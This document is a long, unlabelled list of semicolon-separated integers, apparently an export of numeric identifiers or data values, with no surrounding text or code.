65625;43449;33333;24425;94107;36984;106794;97816;85935;97235;39646;82073;25393;71198;85707;100822;84377;49945;12962;45223;48362;58925;11627;36953;106237;101181;32867;28777;97540;63768;38737;60810;102488;53363;11041;50379;17710;18913;20188;91939;19024;79462;67414;100709;99923;20992;60060;73284;73021;15073;34540;86139;29363;61221;104443;85690;90433;67735;57631;81718;105289;71447;63231;75467;99627;76693;56967;43808;93317;55220;13400;83736;60441;100388;14770;25184;99196;42611;30973;75778;67686;40593;54114;58800;91469;100698;38083;55224;49206;100692;59337;22709;44598;71267;37906;92687;52326;18577;14726;12882;79037;36472;19645;51293;37267;13824;12083;18498;10436;21476;91450;85337;16440;58276;73851;89996;34367;49037;23651;14253;50498;73315;55274;85761;85179;103958;65205;37751;62019;22397;69118;88584;73265;53457;60083;81118;52669;21591;52206;17726;52399;45580;50648;28224;86695;97123;79413;31432;56388;103933;85899;94193;59371;52132;64064;100029;65706;25513;26678;72648;24767;88595;30772;29785;24217;40842;30125;26251;19686;54507;73846;66998;49406;32493;87692;10736;12842;66126;78153;53689;26726;86430;52409;17216;59636;95293;50040;41444;63470;92860;80009;66743;55719;90010;85151;85491;83219;85913;44441;13480;80819;66460;42156;18326;88046;77069;67915;40638;85030;100988;60267;91722;43370;46386;84586;100046;40966;36803;63734;60888;17615;11656;73244;105757;66581;33827;67028;12698;93194;76066;56851;46720;106535;37944;87655;25984;85035;68604;64253;94199;103435;66775;104450;29347;75221;41290;83985;22718;105075;49422;48273;20097;31242;94249;24907;29224;61829;66271;74186;94668;60102;10053;88496;51017;40066;91275;45610;17284;70549;106433;92455;95052;92530;25370;79452;46504;74678;90393;21641;12797;36162;14487;22519;28833;27209;26090;41325;36260;54451;74355;19380;43817;77366;18629;45956;72778;16345;30795;39928;49740;20319;101175;41740;41256;41619;39569;41780;106776;75553;35823;40330;13338;90909;28442;14027;19668;18767;64239;54925;101383;94308;60526;84698;71010;57783;80253;68176;105178;47046;42929;63323;57837;12533;62501;71831;72352;93070;10475;50921;73408;77761;96315;18003;62166;82661;62403;13343;60879;64384;60029;13225;71708;35604;85354;12519;42596;101290;71534;24600;67348;37147;73213;35172;81036;48803;24851;92928;89194;60006;13336;92130;43903;103167;15444;26119;61503;105990;37675;76172;50761;38553;68954;75541;47873;82362;41282;75247;10444;17528;61566;88853;60139;53919;72810;62584;84171;65854;33535;32933;83480;106343;73395;68056;56889;25096;49177;70970;13384;95583;63933;15973;76480;64296;97944;43929;104041;105139;28397;11981;73680;32164;67719;79259;12959;94014;71147;51783;62116;58332;31410;20009;42323;80197;12989;102321;87810;96398;34872;79304;101610;19509;41548;42112;32695;27206;200140;15158;69103;67113;106286;32886;30121;13199;86625;74063;20776;104989;22137;66649;75793;35623;84297;102738;84420;26872;18400;42846;42531;25705;63854;87726;88770;42496;65610;10415;74737;66266;51795;41100;81318;19608;67571;90984;17619;30724;74630;13897;12527;80063;49819;49980;52902;99507;106298;59093;80070;25274;94203;46393;70845;85104;77474;36493;12598;61000;14210;52797;64248;77696;82722;36810;51838;47142;45094;54088;23085;35617;92738;80835;64477;82809;103925;67129;31467;59135;33441;91271;57768;15806;25732;12961;53247;57798;29795;76235;99448;90654;52199;40469;84318;76275;22151;19046;25699;46285;68517;61886;39289;23839;103418;24783;69140;49486;35880;44055;42140;90386;56682;11037;19740;89997;50886;19297;19829;92752;79397;86400;94291;101514;91466;87074;84233;87398;68853;62006;102204;99221;103419;54583;63127;35220;49218;44490;36961;92084;82147;66640;103655;45384;23577;23495;76975;61813;99244;38135;12895;103250;62476;81070;16196;19325;15842;20343;73202;40108;79326;51875;66071;90876;87037;19989;40668;12530;55290;40587;77789;54703;54449;86341;57282;19728;18455;96355;76571;77145;86508;79154;50302;100289;24955;50340;19742;35431;58266;13656;35853;97660;84867;66366;39860;28867;15979;96948;20975;17393;34462;49845;36819;97675;93741;77795;93137;89182;69586;51244;61731;70679;89042;25374;60665;44780;15442;45504;83625;63428;19811;38092;24520;70303;45003;91308;92483;18554;52794;45796;22948;80146;86504;44250;103770;91101;13513;73676;69599;61101;22624;82477;32238;10982;18287;87822;22787;51041;11289;29507;66312;36893;69820;86055;51817;70167;55550;25110;34452;77606;55636;77205;39738;63835;19239;73706;17826;78230;90198;20901;19584;104202;104040;89560;34281;38247;93217;81742;39491;64036;78786;91824;36390;103817;52288;75839;40722;25514;54657;46004;65866;68769;29330;83080;32560;101462;69187;38932;52447;70663;22713;74086;95507;71206;106748;25711;54792;23356;81641;34221;96376;25836;99541;96835;66931;65855;14939;63816;79481;44317;84700;38450;80210;101864;38769;69491;34888;27465;23357;87208;18230;18911;74437;92847;17097;102742;72268;12353;35189;101876;63746;49753;46206;22144;32341;11368;40235;19026;95305;54407;42591;104283;93734;65321;36130;37717;19537;44550;14886;99947;36088;44227;82027;16146;36392;14667;90605;55871;37903;77049;75991;96311;16418;83121;52444;46370;21271;68000;26731;66204;100361;21208;68189;82030;91312;76356;51282;26186;21148;101124;85284;29944;22793;45254;106820;33478;89271;99383;52350;13166;10533;56596;34445;44867;76070;60866;60828;95756;106389;86733;50178;54130;31091;45412;55936;16423;48929;71173;41661;82099;31913;107055;63430;51796;68859;100695;29449;67513;56380;45785;35459;86186;12450;15635;31174;33666;105250;200062;99313;38619;102560;33471;30822;77364;36703;40313;97738;96168;80480;34441;41482;37948;80011;16338;31229;41283;57977;41355;93610;56811;32845;59913;68225;71161;65009;25193;44202;59619;17693;13268;53374;103477;48678;12671;11841;94606;10164;38113;102280;29896;64907;58082;84504;104302;38547;56456;86935;88477;16535;54788;76359;16754;84617;94729;18213;81654;43285;105451;93311;92657;104522;88624;61834;47284;78357;31052;63765;48161;71261;38131;40312;42622;95563;86763;56441;85226;17359;25830;16985;105125;46155;71932;81484;76576;62693;60464;16810;55878;10316;94351;19713;25046;86897;60323;25797;21203;52216;74204;16397;32815;42778;62715;104921;93302;17217;95738;76394;52193;35686;49277;32882;43297;43525;34031;24492;32480;13963;39570;92740;42269;73841;18682;97691;57451;69854;10351;103235;28309;66706;74867;29357;84599;89084;74100;92392;80321;39789;75919;34057;19267;85222;48661;27397;70614;90122;71237;17712;10115;49682;23180;11346;84073;42095;51558;37366;86269;74628;10804;19819;19807;70933;37953;41872;93470;71424;26418;79099;86724;12382;20296;52832;47081;65794;72584;59150;21266;78450;83811;75302;97763;59693;65488;39701;35883;70632;62713;43970;96669;80128;75717;74345;69890;92411;95785;97843;15809;48476;19498;35096;30217;45913;103930;38786;11652;83624;58653;18339;15282;99517;102438;25521;24591;91145;92536;95901;72591;76957;18530;89545;31687;61138;51992;85163;76662;64739;34950;84236;96139;67594;106112;85821;85634;41626;95317;80598;72267;21828;65805;81500;59658;73336;52412;72794;84334;25076;27831;27819;93663;101373;77027;92732;54199;64352;63412;95743;89213;91328;72747;59069;71142;59821;38580;73842;20528;60149;48968;23962;16564;101209;75734;32159;52879;10631;26688;41794;74361;73398;102836;103935;41020;14198;49724;90301;10646;34286;19155;84909;44254;67157;65665;14801;45170;97251;34138;33748;32064;68387;58001;86728;88864;74887;27544;25676;33188;99120;75514;23287;49125;52751;76178;24642;85946;10042;26781;37595;96338;83563;26701;43225;79385;55746;72793;56847;49717;43234;72685;94942;36581;31389;72226;63504;22862;70454;35055;49288;32729;94097;21077;44578;56580;40790;46645;11181;100396;11793;41029;12372;20339;68450;48717;32278;88708;25344;75593;62995;77216;68443;53214;61136;63994;74682;45997;102894;104998;99599;57055;42921;27624;74287;48489;64106;66091;23954;81481;60366;18128;18467;77685;72477;25463;91518;69718;71139;58098;11524;81922;96259;60820;28291;43168;102691;54710;81248;21448;92728;10761;80177;57321;54911;19956;18510;70235;103855;14383;10644;46539;88896;82808;104434;94247;32158;41333;60832;11759;57766;90873;51203;50269;80275;81420;45404;102624;101029;103109;19684;33714;44930;63067;104029;71949;59426;91745;59143;15728;99320;33591;42147;102990;106428;48401;25613;14288;92551;49404;54874;62005;65369;18172;82685;62944;97638;36002;80975;45964;66130;53337;21759;51529;86487;15182;14971;96907;67244;30213;82079;37109;58933;33598;64431;64378;91371;24231;41763;51958;16743;29093;37965;83516;93376;102758;62187;75435;15551;13867;47504;106137;30205;24939;17571;84130;49614;94476;75568;61132;49797;84579;64968;19252;67793;64376;79367;65755;100894;37654;54761;52817;33286;82964;74403;96215;26545;59199;25234;48659;33076;21895;46533;46896;85497;77443;86702;68587;89812;106218;66108;101602;34878;31470;32750;34373;27116;17536;33675;56214;45397;10208;85365;62189;57983;76228;82394;46428;69332;39001;62010;104154;51170;22626;103375;12749;24883;52583;25155;69048;15908;101854;62695;102869;51294;78678;35371;105786;57649;83204;38239;43668;22004;18303;13934;54847;87825;66522;100799;94780;34677;93676;101596;10510;58427;61334;34592;35841;91718;44408;92799;69365;15046;59554;17766;22343;61247;100810;15281;73501;85534;50879;33257;51178;92364;105379;43532;29110;100365;100200;83591;17838;18822;19732;39721;64798;102655;47384;41569;86306;101140;76336;27523;104531;29727;55236;20969;90195;36087;26383;89268;20347;23178;57012;97639;59700;13699;25174;85225;26807;35329;40215;41144;73872;81664;105809;104398;20161;18253;16764;78662;43953;94096;85771;96931;75254;70965;21444;35058;71757;49362;75872;63587;34013;29571;94642;32022;72640;49105;54311;19426;59497;35021;86333;63275;42029;56463;29674;31859;55453;23104;33641;31256;71950;11692;60993;47536;40909;99402;59119;70012;18259;78118;64809;90359;83743;53358;25194;76207;25350;104228;28588;104857;92717;59735;14467;65026;61325;20722;57343;97982;57707;14679;95823;64377;26632;89546;61436;27297;88537;100285;18964;15500;63971;48353;200144;83225;35180;96988;97596;55326;106831;56289;52470;68196;30721;55073;68721;53790;43147;45186;25328;84494;17322;25442;79306;65204;69231;43704;69399;38830;103658;56924;42402;12958;56001;26825;76299;103823;83593;38669;71778;51121;69314;51014;22230;60824;49451;27235;80108;105549;73197;79928;34133;52331;49659;36192;91163;38625;37248;55933;85126;31794;11537;10136;85134;30430;106777;27948;12758;69903;71427;100382;49571;44667;105695;102102;61820;12805;19346;97086;57739;23360;66403;21256;84345;77080;13002;55645;46931;90913;45777;67964;97503;15066;100124;100059;90033;63997;64669;26497;102896;79393;29399;55818;24171;29706;44649;45096;87791;83319;95696;53957;30546;53690;67512;36046;35492;99290;101305;86325;15755;102669;60854;81728;29299;31884;32520;83413;41559;78146;38289;68605;38828;13738;94947;13930;30993;68726;73057;52722;84415;43648;37576;53332;39106;64527;75404;66534;43038;67302;34654;51528;32265;51069;34164;52672;81008;67051;71466;58076;37292;65201;87730;75255;17311;104691;37640;24576;17538;74282;67160;23009;75349;87426;58869;77835;91428;78932;15738;93278;77980;81010;10137;49188;97454;66362;63556;69078;94190;49318;88858;44240;87592;18185;17497;85925;68834;91815;46329;103867;102029;42692;101474;78148;104826;47300;22617;60047;51597;96945;92918;200071;92195;67611;104764;71347;87466;93239;38250;60710;29881;75672;20230;70917;86115;88434;54712;60814;95019;69084;33969;45553;53334;68489;90972;36867;16414;81302;55454;52765;56738;42150;85277;92490;15480;44904;80299;74775;15808;46984;103298;44616;67167;99069;96675;34992;72475;25169;100415;21908;106955;44044;82501;60138;65652;99154;88021;19180;92086;32198;10833;70369;17733;61108;80800;83363;11143;15038;39031;66426;49946;16675;19428;51606;101972;84481;91576;17241;32522;19275;100476;29467;89817;87118;26642;66625;90622;52122;42865;91529;100193;20786;44241;47626;69213;59496;23924;86462;24772;43165;30991;72697;81561;46629;29559;14947;87570;99347;106919;104215;89902;103085;12433;33011;14282;101720;95943;30567;37498;64167;40256;77769;103471;14410;53729;67670;69212;16357;85458;27494;11880;104976;30611;66413;67565;69408;76771;65742;59482;58919;84265;101961;48643;11305;103861;30285;53399;74417;18417;91941;72208;69003;37926;17660;72098;24322;92224;52044;54644;36257;96163;47310;30080;75798;96507;54958;22652;13641;63698;65563;81663;29102;104924;51510;66923;49657;47332;55526;100513;19322;28957;56393;29396;101023;84605;106163;17019;54409;53586;58953;81785;32375;53096;46713;56094;61890;43148;33417;31337;16010;81344;35216;56698;68559;83212;35097;45935;91318;17973;77989;10199;79590;52324;34016;84545;90001;17720;40761;71478;69254;59019;57291;37177;103668;105410;41401;93799;86525;16698;66211;40971;23964;61751;24493;53303;52640;52970;102988;65199;66497;70198;65887;96661;96806;48679;37027;88629;51975;21288;82553;52716;43579;50460;83085;84858;33541;52993;85380;46198;15127;20539;50987;75973;92936;11402;85407;58974;77431;90600;105018;69217;35465;102920;46555;12455;106321;93718;34237;100245;36580;83537;22365;71701;105332;104754;60505;17492;96167;96336;59040;101067;36335;68835;24192;99772;90115;19766;18962;38600;63164;96944;65767;65621;87642;40120;19784;32029;52768;106739;86067;17488;59677;81469;72081;37760;72424;96334;61284;94815;59391;79727;57108;45399;81844;12423;81132;78861;13321;14442;100349;42799;39485;20470;16558;82223;38536;104297;38959;40210;68577;42875;31993;43329;13686;30628;44092;38850;77776;54377;30645;93156;83311;13266;60185;90452;104271;78555;22211;42079;87522;25316;16962;25495;52250;21081;84095;31181;64972;106347;44376;80725;45379;102335;49137;35965;11240;41044;48400;53462;91323;41570;32209;40954;76978;18156;56378;60953;89956;13653;103970;11575;22579;84341;13133;33586;82601;41490;42443;72535;75209;97529;79219;97394;32083;66070;27160;31963;79085;99485;91168;23249;66929;87350;105148;87218;16999;72376;87182;36761;48345;69987;46891;20726;82401;49411;46599;55898;33165;71665;61528;20614;23094;68895;31144;53896;59236;67367;26050;38680;83780;74789;58886;33750;21945;58189;59324;28237;17622;67059;25173;41101;97926;32569;18513;59413;53075;106166;89775;62778;33727;33964;90620;84540;76478;93688;20521;14805;14985;43571;79456;31447;31005;104884;105275;101738;27926;20109;38381;87433;55336;43921;104140;95994;73782;103389;46490;49831;66407;73369;69410;79003;55365;56643;81887;49099;30692;18831;50457;14730;36673;14170;92080;82431;47669;81416;58347;91694;93866;99537;39695;40460;100756;100310;52364;49457;30735;78785;48885;76175;78010;41414;22508;83600;88860;88926;39659;104573;24415;26592;105368;90298;90102;43045;11654;83964;11997;90677;68500;103647;95301;19692;48447;84896;88418;61463;20616;36142;27037;69466;11258;34059;26889;84897;87494;72533;18810;90392;36429;79725;83257;61193;77626;26783;54495;70692;24122;61883;62007;71050;49295;43642;106595;86175;47254;22569;79450;77371;21317;39311;76891;87762;99167;15298;102764;51227;41814;30705;59307;80561;32261;16199;88080;83518;67475;97577;56761;82807;55145;73227;95893;76707;93201;60181;36800;32863;69803;96943;34587;104358;21006;52266;52108;30149;103393;94864;68267;93433;102273;51462;86931;33140;56948;61266;44098;39080;29547;90240;66989;38479;18066;39309;83507;51055;91686;100032;26714;38882;38491;48782;30403;87067;99726;27389;97366;12002;41934;31813;79859;54123;45549;45383;66550;43609;73340;76735;40784;42299;78086;32760;33809;24972;57773;13719;16485;45268;83596;65791;63266;20198;44569;100964;87168;33265;82869;19548;31714;101008;106568;74228;33678;36098;84878;83548;73022;38617;87964;84081;16859;82820;77765;37968;87797;74919;43000;63523;82132;90018;89385;41991;82287;51095;34846;61462;74223;34901;78418;19055;34287;85267;59753;104104;43103;17303;60373;15633;102901;60489;46197;42818;52095;99710;75578;70944;99405;76718;54045;45079;27420;67672;58630;66574;101553;49016;36604;34735;63704;97850;84496;42960;59414;87648;13655;66326;15742;96913;72719;79064;31303;97025;75951;49471;63731;89725;26629;93750;51549;40652;87476;52974;54172;18793;52502;96035;96046;37397;83386;39507;88998;51607;100644;33255;64153;80824;78169;47858;20621;73690;47121;48944;74510;34521;37984;72946;61693;16785;36617;34734;66655;71752;91860;99832;55094;20999;27779;50904;76889;57903;61630;93100;60692;101385;67676;28604;95726;23973;79476;74512;46385;28930;62358;37643;48374;88723;70869;47120;70391;90553;74386;54013;105586;35273;33685;69372;38761;22507;95768;99201;50143;46844;87680;13887;19194;70768;54515;54343;94706;92931;103422;15386;49328;95965;49586;30951;84237;49577;83371;90562;26196;16119;49537;89108;83986;90603;15163;93122;77527;83665;18824;70070;10954;93083;80392;90886;53762;39999;83808;35799;76323;60907;77603;34531;73569;30108;24871;27888;48480;69871;85472;25713;72366;29533;55111;39244;30408;35023;90286;89300;19652;63349;17220;66639;58309;46755;15365;69591;100973;40677;66698;42467;10550;92813;28105;75087;74785;93787;95552;106010;96537;91273;46722;42050;27512;95876;102234;23346;78526;87538;57301;47749;29178;74447;51896;100330;61884;65924;106234;20778;32504;63353;84363;52535;14556;15331;56459;25260;35602;41495;24333;87949;105225;58669;95997;15205;33601;89719;99972;100401;10097;84069;77304;91642;77944;12769;90432;103803;82490;39328;106815;22798;78283;20015;70508;50984;45360;25552;32402;93348;88052;23338;24358;25225;37928;79930;56868;61093;76496;17364;77512;10807;95625;73901;90796;104449;94523;92454;23787;84804;39050;59225;106487;36060;32769;70991;51292;11021;24709;65624;43665;51236;96482;12782;79247;43313;24130;94666;104979;105622;103964;16839;42736;28047;62819;77477;25966;65227;19599;33032;82044;77529;105648;40643;104590;90013;94892;73657;23923;42239;92589;105604;67474;86577;75373;69898;70932;18990;41716;35127;72875;74284;10783;23969;77365;52666;86165;102101;47629;107012;92240;69099;29892;26892;14847;66372;57877;65698;68318;79783;19033;66683;32515;90316;59376;53038;42801;48317;24934;53116;50928;48395;27800;47897;28570;64450;96664;17805;36505;89850;69260;38411;18894;33577;36049;40261;51906;90653;59664;59338;89721;37195;97144;89010;96848;16968;53613;69755;89158;69584;56827;53394;90249;49340;88655;37535;68917;100877;63269;40437;90180;19676;94779;46668;81260;70775;38079;55045;54074;23171;101196;68249;66374;68341;61139;26520;95443;100617;52850;55608;48244;68096;99596;10200;103158;74451;32620;66477;29062;40037;100943;82175;69567;28643;61308;26089;36172;22605;46751;94538;61558;48148;100393;96686;31759;38988;99924;14795;34529;94648;86740;50837;47110;99554;54441;72925;36165;46907;29986;41217;37792;25730;102351;62108;85341;26291;99758;95391;76284;36892;69283;20426;42149;106281;85471;41417;23614;93978;87432;51144;42567;95806;47326;72718;70579;52549;93052;64243;100921;49589;22381;15410;70661;47200;46624;39228;86970;67856;15614;75416;53347;92810;14820;81531;45084;99491;51213;103001;82631;85939;61353;99124;37706;21869;34218;88488;15151;32271;57854;16116;56208;68845;15810;88075;24778;81091;48577;28634;61140;82567;102871;46395;83470;82780;54478;28147;25398;22899;20829;27398;48272;19185;71775;67042;45282;73871;39623;43555;87092;71410;70328;105615;27920;24971;77990;62033;48793;32643;35282;39938;84727;43356;52383;102478;39078;72975;30960;51149;85071;70113;26871;101663;42159;77786;64413;37552;52929;27117;78711;30827;81369;104163;56608;64229;13445;91552;48765;200053;67508;77775;58373;15237;77469;102741;36381;101306;41316;75119;35353;48758;100524;85245;17686;77355;85751;105190;19045;38803;92850;13735;14000;32537;105777;17832;100283;14846;16403;87956;20950;23265;87335;101712;74046;39790;90278;83478;19565;72326;29310;19612;87974;58838;107072;91826;90701;70372;39672;34595;43390;91231;16108;20952;51831;35080;25163;60717;104865;71441;88107;100881;66039;45916;29677;101727;22467;100157;81139;11277;64870;67438;11125;68880;38102;30740;40657;39326;19019;91358;71666;12586;35838;99809;103699;60418;73302;104689;89737;58643;29442;92577;70425;54180;106111;33491;45236;97742;84823;97680;90519;13630;87157;22919;26091;82926;66156;76987;73461;53522;62710;105901;99390;73312;82824;60698;59362;47175;41527;49868;20809;22057;23955;72190;66444;55938;96965;27687;53620;87505;25021;47375;62619;71335;15494;92708;33244;91344;43462;82053;69307;39930;13675;85014;39296;63154;39144;57175;85635;82799;40596;81517;54648;50434;200101;68992;14305;73624;44971;94778;53137;29325;104481;82396;37218;18022;105646;103383;97813;97233;92077;19236;37638;70290;17800;96892;96257;81417;52345;33473;85723;18194;81853;20437;101930;96921;75624;11629;14279;89557;75966;84631;68470;51324;18235;33634;38872;50057;82049;64434;32495;13945;65231;69766;45899;56668;97153;55972;39932;71813;72035;19364;36643;86580;102307;71732;25827;89813;47322;62267;77422;93709;13910;22138;36923;44331;15570;92095;18409;55496;44008;105876;78122;105411;96140;30084;30915;89358;55068;53232;102565;27610;57852;10542;73712;43916;41691;105478;27376;88871;15671;54302;28979;33163;64684;24559;73121;15875;90095;46188;11430;53571;80890;96503;48484;59012;45714;102781;38069;44653;10744;79961;103877;85878;42235;16852;75835;39488;96377;35648;12437;67795;22076;79416;28033;38856;105291;11650;40760;16020;85914;11544;38204;24655;78244;64513;46560;35544;60592;76291;63373;100064;10731;104111;25221;32014;93633;49852;61180;57528;54128;11246;65837;100479;42189;75749;59163;19714;75099;92964;22520;77943;81408;36325;33921;69942;37945;64545;45275;33328;64436;42258;99560;100693;53255;12480;88942;76969;88142;12394;79320;74950;72056;40069;59406;76199;26290;30102;80408;64762;16605;63208;23557;53856;85432;60088;49857;66755;106148;55759;52041;53809;46235;56057;106110;100266;12779;99757;96280;78329;60238;81478;24690;56085;14815;19365;81275;50920;61991;20176;60481;91068;45981;30270;24422;68051;75189;100654;63109;75428;67857;91871;23956;97685;45514;104762;95349;105636;76340;103866;81777;36918;33674;20835;49635;80021;71761;90638;33923;45482;68565;101363;36448;62564;23143;65051;42781;10882;36135;78387;69076;46997;51626;105644;100306;29343;52897;41700;24376;72709;38639;70941;10127;94917;105518;61941;78766;62002;39987;102707;91379;79844;72593;12713;76152;78408;71626;80582;86181;102761;52566;56678;97746;29544;63929;96799;93901;29036;25573;49642;66772;79669;12076;104141;31027;39377;103913;74387;17639;12705;62042;63561;60154;40493;35290;24154;93786;57985;67629;76919;22221;79454;83937;29196;48440;75558;21770;100198;89227;67246;30586;97228;56611;35448;40726;62614;64830;30741;93950;31346;16722;53421;69508;65150;88947;31548;19760;17724;59568;45720;74784;84946;93228;29273;87969;58366;52733;47498;42728;44266;20680;80430;19184;80896;36971;43357;50861;86385;77928;47459;97085;52602;71423;38413;41643;15609;51956;44831;57574;55093;13150;57253;42305;100432;62437;32026;75015;51436;14141;90213;100769;88168;36407;99497;69111;104891;80273;92880;59437;52853;24384;29004;18806;69125;83203;33844;29301;69201;55426;19415;87876;76620;39513;74836;56418;102220;53813;28130;18344;70807;48987;90905;25186;106466;11213;43621;96549;26490;46193;44370;39434;59410;17373;104544;77633;24423;96795;24607;21110;106946;104523;86472;40911;59500;17675;87159;30834;71567;18395;65517;10532;102464;63359;56129;41319;23361;23263;31639;15851;24959;106392;47233;13550;84555;44407;22796;71071;90330;60186;37684;71906;78438;82209;13296;42871;12539;103631;103721;19150;74368;38202;70539;24215;10111;32568;91044;46696;60374;21406;55153;93483;11938;48463;71747;46348;75095;58703;102546;92017;43821;88133;53300;77180;18436;65721;40585;70513;58161;55563;87548;68129;99295;30319;73287;103220;62228;28653;38182;16940;18252;81528;26924;60096;60405;53870;30802;75600;68377;82845;23302;24571;34786;77155;81805;86796;29378;32877;81241;55671;105601;90373;104737;87754;22094;38063;60127;26580;80422;16409;74333;43659;11380;85908;84991;71007;31139;64642;88835;90686;35136;97905;86900;65589;56464;82774;35179;56704;46830;31518;32231;59316;64706;23951;11086;29876;67460;107010;39274;74819;12046;72051;86015;57525;41837;43813;101420;104715;41562;107049;68918;89046;17595;102930;77914;50393;30612;55414;83853;42353;43042;70324;71960;90413;85440;33035;34070;19443;88908;79799;57804;82946;38433;42006;36557;70818;65784;47541;55784;75679;68601;91522;51447;61605;55906;74390;58403;83848;24504;62052;99601;29722;32655;28008;69073;26431;96093;35992;94585;32684;104566;46287;24162;12963;200095;82955;80973;12116;99324;33740;13871;34794;61163;48200;78224;94682;60196;90812;62532;95770;75362;16505;96955;53828;19666;16470;23250;58398;62337;19552;43314;72104;38339;16059;77808;57457;85215;53224;42576;73306;49144;94746;21273;88399;83396;56302;99998;83148;22803;22894;59578;44684;24814;11163;11636;30839;27280;36559;19422;99206;39077;41041;91868;66986;53193;37275;100632;32134;102344;76618;12617;13363;12658;81127;71041;16862;16584;82898;56880;107079;104742;56183;97822;50394;12935;15794;62736;96851;80278;44380;95586;88911;83446;17566;102277;57538;12111;101236;34077;40789;78065;89849;23838;49272;18989;101138;53266;16370;61954;19589;12631;64568;44438;61666;90094;79665;20464;64415;68564;38488;55100;87811;76927;16255;82734;33099;21357;94851;79741;83592;12810;18389;92480;101742;38001;50856;87003;88660;48422;15679;44482;29329;55847;94213;47469;70270;73792;61228;72882;79412;46902;14665;84307;93203;200032;95539;94676;71282;79223;101898;75439;53712;55812;45767;47641;34591;29476;50880;81497;46803;74808;58701;61441;42664;86078;79764;48586;28468;73063;28964;91979;59998;83345;103980;14038;44889;79745;19949;106421;11754;61576;32430;31965;80505;83872;67426;50425;69743;78714;35005;75671;51938;33546;19644;79446;36935;68614;93865;30450;96418;34624;23106;66533;27526;54279;104404;32269;29588;64214;78758;103974;20488;32136;22991;57280;26831;75501;80948;77514;20241;69066;72154;105328;10526;84054;60200;76577;13102;71690;30874;79437;65091;76395;79878;53470;53316;15219;67422;33863;26213;17291;67489;103387;96279;71091;38775;87440;91634;52367;57185;44053;19741;54464;81783;62361;65024;80342;100908;72201;75143;27981;87512;26970;93802;74883;94880;86486;87663;76763;30300;26779;50075;100706;99234;34513;26720;90378;55568;99033;64654;62396;27436;83673;94243;25824;41118;26747;92731;28597;31320;82335;49062;15269;31526;28476;91793;53269;39548;84343;78476;57945;76533;80484;106006;80483;17756;20421;27472;85332;71077;41851;14264;79265;35906;20311;38412;16276;12602;54889;39526;90613;66201;18673;15236;25298;49467;101006;102539;16871;42755;38354;72022;100685;13317;32259;101519;10863;57751;19173;54945;49751;66511;53821;50341;22517;106156;90440;20005;89821;12628;34378;59043;90444;26464;62597;58196;36459;73640;83216;47837;42826;89666;81313;72948;92090;29218;74239;14927;48514;105119;42730;63914;79971;30911;78668;91251;61385;20409;81673;82151;34993;28344;103977;86358;51556;33943;17413;86955;76610;52464;47491;43033;106654;23487;95402;31598;34995;46576;40102;76723;13255;55122;35251;82348;40899;50557;49548;64937;90616;76231;31345;10966;81867;29992;63258;52947;61754;78008;76061;106958;101488;31606;104845;74238;82191;44905;80736;100048;53480;23983;60984;50124;71196;20684;19179;84656;15185;88063;105213;74230;44865;17783;102268;45871;53675;66441;74015;40847;12720;81020;41155;60212;103532;90911;55947;10823;97291;24944;53306;44285;94112;83994;60308;26536;85920;43181;34795;37300;65184;18435;34895;70283;15121;37129;11874;19348;78457;77894;14990;74842;82972;34882;94898;68417;47648;35777;41689;13895;23185;60657;21237;102104;83519;83760;41384;72686;30819;103007;24707;33372;79514;55141;22241;83797;105817;92614;36712;29409;83791;104786;74279;18787;44754;99931;81674;105270;23198;10394;84539;66831;91112;10573;60004;51145;30803;18943;91199;53753;59330;42966;74777;70859;15063;40191;64970;61523;50770;99052;76216;91825;33370;78026;67189;93705;13953;57551;90518;96021;91846;101328;19245;102635;39329;19857;65096;69837;29519;64360;51407;27004;12826;24950;94822;63447;58573;49704;80814;97487;106263;86229;73088;105240;33950;48580;106585;105348;106892;77819;91254;102574;70473;89126;44121;58737;39784;64679;42933;68739;91772;19061;69202;99131;25252;74432;57847;60358;40688;36041;54201;75533;40486;101645;11657;59848;68885;77995;64021;95255;42287;71768;61993;33488;15087;43860;80601;73730;27024;60887;100152;71727;101336;69697;61171;86669;38962;38539;82453;57911;29444;92748;24804;101736;91392;86351;89753;102559;100711;46744;74048;70151;24036;55251;64900;59861;90807;43438;32598;93673;57923;28616;87676;26585;71359;106435;87042;86481;38443;35690;70076;29145;79836;12622;12854;57946;80545;64720;22306;25985;86233;51257;11989;53067;51618;41191;84752;23734;30321;42065;89504;105202;104365;66610;105592;99218;26221;96302;92730;41561;76528;87981;44973;63464;85911;71854;74325;13782;53136;13247;38423;100834;66128;78598;64672;34226;13700;82640;26391;58823;72006;14389;63674;43554;85324;60761;35520;104759;88699;11447;103464;11045;21966;43249;12351;102978;53043;45861;90273;46149;100605;24741;51625;87571;65044;36610;88121;52728;96278;22505;76419;52921;17585;81780;31917;101889;76239;102633;15576;102440;48982;28624;94386;95811;38529;78826;18189;43971;100244;62021;67163;18360;69853;42564;11247;76120;51262;78922;100800;25292;96493;46819;62209;59281;45272;66409;27272;58926;32253;73887;37461;200130;69089;101814;65305;107073;99979;12468;39726;76741;13941;18429;50175;65088;62484;46034;71952;14026;19210;12787;33908;97821;68543;39136;64835;43140;100237;95759;86237;24443;16369;30064;84346;87526;102199;99207;17052;40282;62927;16435;103540;40008;56066;103665;43433;37342;81579;102783;79762;16778;86129;75889;64017;74558;72175;34758;49468;53976;69360;105519;55463;34839;39639;40196;105554;77117;77638;101734;52873;79474;40461;106733;53955;32682;16840;19437;41664;36598;96439;61632;97965;27499;95444;34753;61656;16473;82648;102981;100462;101737;89299;63332;42876;94413;101257;47405;99281;84930;70962;95438;51768;78471;41827;62111;10226;57922;33108;29101;51745;75939;105111;99950;19217;62984;21755;99256;47700;82040;79834;35106;104350;62379;78214;24058;57510;15004;100446;92673;62348;44388;85712;75026;75245;73933;75801;20461;88728;99673;88717;32755;74856;71042;58302;19136;67667;52152;68580;86576;58485;53285;56435;57481;37283;87257;12383;45065;91288;66219;70377;55214;90680;11608;52559;37536;72601;93823;61837;61254;21023;94111;94268;34379;46126;51685;89345;76870;77833;90531;77376;107114;48466;65320;60793;11535;76398;20858;90341;22664;102806;60434;52587;19875;103331;15216;74975;18342;68069;14249;23474;91807;16830;61203;65728;37913;48275;62316;103937;18220;61662;26692;22598;38515;35099;82181;44647;86347;40727;96007;104714;64045;105383;45682;64315;91520;45945;35524;76594;97662;42906;42125;54016;31282;101148;106374;10719;26624;16517;95498;18335;76861;94756;19070;68972;91759;88175;43074;78997;26557;79698;105459;60856;14996;87886;21602;66733;67304;47317;28239;79995;26666;86860;18924;75907;92778;40696;91090;13318;15684;107137;101359;67654;78466;60480;96998;36224;38270;95026;29172;32989;73162;62529;72338;54009;33619;200009;65476;37828;106121;74313;77176;65705;26261;55201;10279;40054;68290;59499;56970;27017;79060;65772;47555;57840;42242;29307;105447;60797;24747;